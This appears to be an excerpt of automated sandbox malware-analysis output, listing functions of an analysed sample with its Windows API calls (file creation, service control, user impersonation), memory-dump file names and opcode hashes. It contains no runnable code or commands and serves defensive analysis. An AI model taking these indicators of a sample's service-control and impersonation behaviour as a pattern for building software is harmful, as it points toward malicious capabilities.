fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,E10E4E93,00000003,00000000), ref: 00F48836

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9096f100f555de83959a2fca2fd094854ed960e6768eaae239320c102241199f
Instruction ID: 253a6898a5bcb569f26368b2f27ccb6d5f75691588d1cba50d9d735129f41c1c
Opcode Fuzzy Hash: 9096f100f555de83959a2fca2fd094854ed960e6768eaae239320c102241199f
Instruction Fuzzy Hash: 2E21F4B754C2056EE3018A94AE50BFE7F6CE7937F0BB1446AFC42D7182EA954D076270

Function 00F4880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,E10E4E93,00000003,00000000), ref: 00F48836

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bee21572d621a0b459903af47bba552302bde97dbf6a9639cd0214d7c2ad02f3
Instruction ID: 2b71255808ecc33182d5173fb9587a9fb91469e1af2569024b3c7a2db46369ad
Opcode Fuzzy Hash: bee21572d621a0b459903af47bba552302bde97dbf6a9639cd0214d7c2ad02f3
Instruction Fuzzy Hash: CC2195A704D2816EF30246549D60BBA7F6CEB93770B7544ABF881CB083DA551D0AA335

Function 05580D42 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05580DCD

Memory Dump Source

Source File: 00000003.00000002.2506264781.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5580000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 4bb2e6461d98975bf3df4c9228a648d4eb75187c8e6326f4a3bbdada03dd7afe
Instruction ID: 6230098a8c0a7c96d6455aa6ff0ade8203217d7e2cc99270ecb216bf402d685b
Opcode Fuzzy Hash: 4bb2e6461d98975bf3df4c9228a648d4eb75187c8e6326f4a3bbdada03dd7afe
Instruction Fuzzy Hash: 162115B6C012189FCB50DF99D885ADEFBF4FF88720F14815AE909BB254D738A544CBA4

Function 05580D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05580DCD

Memory Dump Source

Source File: 00000003.00000002.2506264781.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5580000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 0a145e5141d4498cb2d09bbb9302fec13bd6d902d65b2049ae3b58fb08698e2e
Instruction ID: 0a6692da57d19c89c4261958cc205c238039ca3ad8ab78983c10692c9ca5c7c8
Opcode Fuzzy Hash: 0a145e5141d4498cb2d09bbb9302fec13bd6d902d65b2049ae3b58fb08698e2e
Instruction Fuzzy Hash: 562127B6C012189FCB50DF99D884ADEFBF4FF88710F14815AD909BB254D734A544CBA4

Function 05581510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05581580

Memory Dump Source

Source File: 00000003.00000002.2506264781.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5580000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 318ed1142eaa42011e4744733309905797d98ebe78536f956775497862a017a8
Instruction ID: 115b4e77525fde51c18d7d2e04db03d8e7aeca2c0531c79116d2959d9c34c074
Opcode Fuzzy Hash: 318ed1142eaa42011e4744733309905797d98ebe78536f956775497862a017a8
Instruction Fuzzy Hash: 6C11D3B19006499FDB10DF9AD584AEEFBF4FB48320F148029E559A3250D778A644CFA5

Function 05581509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05581580

Memory Dump Source

Source File: 00000003.00000002.2506264781.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5580000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9279112af940520d5a2c5befb19afbe6796643cf5c47d1b3421efaa0f365d768
Instruction ID: 1452835cb250cc24968796a910a5be377dc2a812bb7ff7b6f24db103ad10409a
Opcode Fuzzy Hash: 9279112af940520d5a2c5befb19afbe6796643cf5c47d1b3421efaa0f365d768
Instruction Fuzzy Hash: F821FFB59002098FDB10CF9AD584BEEBBF4BB48320F14842AE959B3240D738A644CFA1

Function 00F48B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00F48BE5

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction ID: 7a8e14de7678c3e852250339801f588f82df52220d8adfe5ddcf4cfdcbd219ab
Opcode Fuzzy Hash: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction Fuzzy Hash: 43019EB6A081099EEB10CF58D9147EF3BE8EB95370F20442AAC04C3A82D7754C55AB28

Function 00F48BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00F48BE5

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction ID: 7d4da1a244fafb6f66864b43dd1b200042ea3d5de6a10a285c129aaeeae8ac88
Opcode Fuzzy Hash: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction Fuzzy Hash: 070192B6D09249CEDB58CF68D8153DE3BE0FB65360F20096AE805C3A92CB354D56EB19

Function 05581301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05581367

Memory Dump Source

Source File: 00000003.00000002.2506264781.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5580000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 4bf55c0632f2b78ced4e605b6c20063602e9df7d1c0475ef84481e92937edd59
Instruction ID: 4d1db922d61137e3a845bfa4c7f744874ce2933d1db1f4e32dfade182970c351
Opcode Fuzzy Hash: 4bf55c0632f2b78ced4e605b6c20063602e9df7d1c0475ef84481e92937edd59
Instruction Fuzzy Hash: CE1102B18002498FDB10DF9AC984BAEFBF8FF48320F24846AD518A7240C778A544CBA5

Function 05581308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05581367

Memory Dump Source

Source File: 00000003.00000002.2506264781.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5580000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e3e884ddbc693f3117f29b1fff6876ef9e6987865276550fb2c816766635f1c7
Instruction ID: 5030be2623887b001257f8545bf3f8f4a8ad3dbdb7fac435ad5f5a10cfdbe1d5
Opcode Fuzzy Hash: e3e884ddbc693f3117f29b1fff6876ef9e6987865276550fb2c816766635f1c7
Instruction Fuzzy Hash: DA11F2B18006498FDB10DF9AC545BEEFBF8FF48320F24846AD558A3650D778A944CBA5

Function 00F48BC7 Relevance: 1.5, APIs: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00F48BE5

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
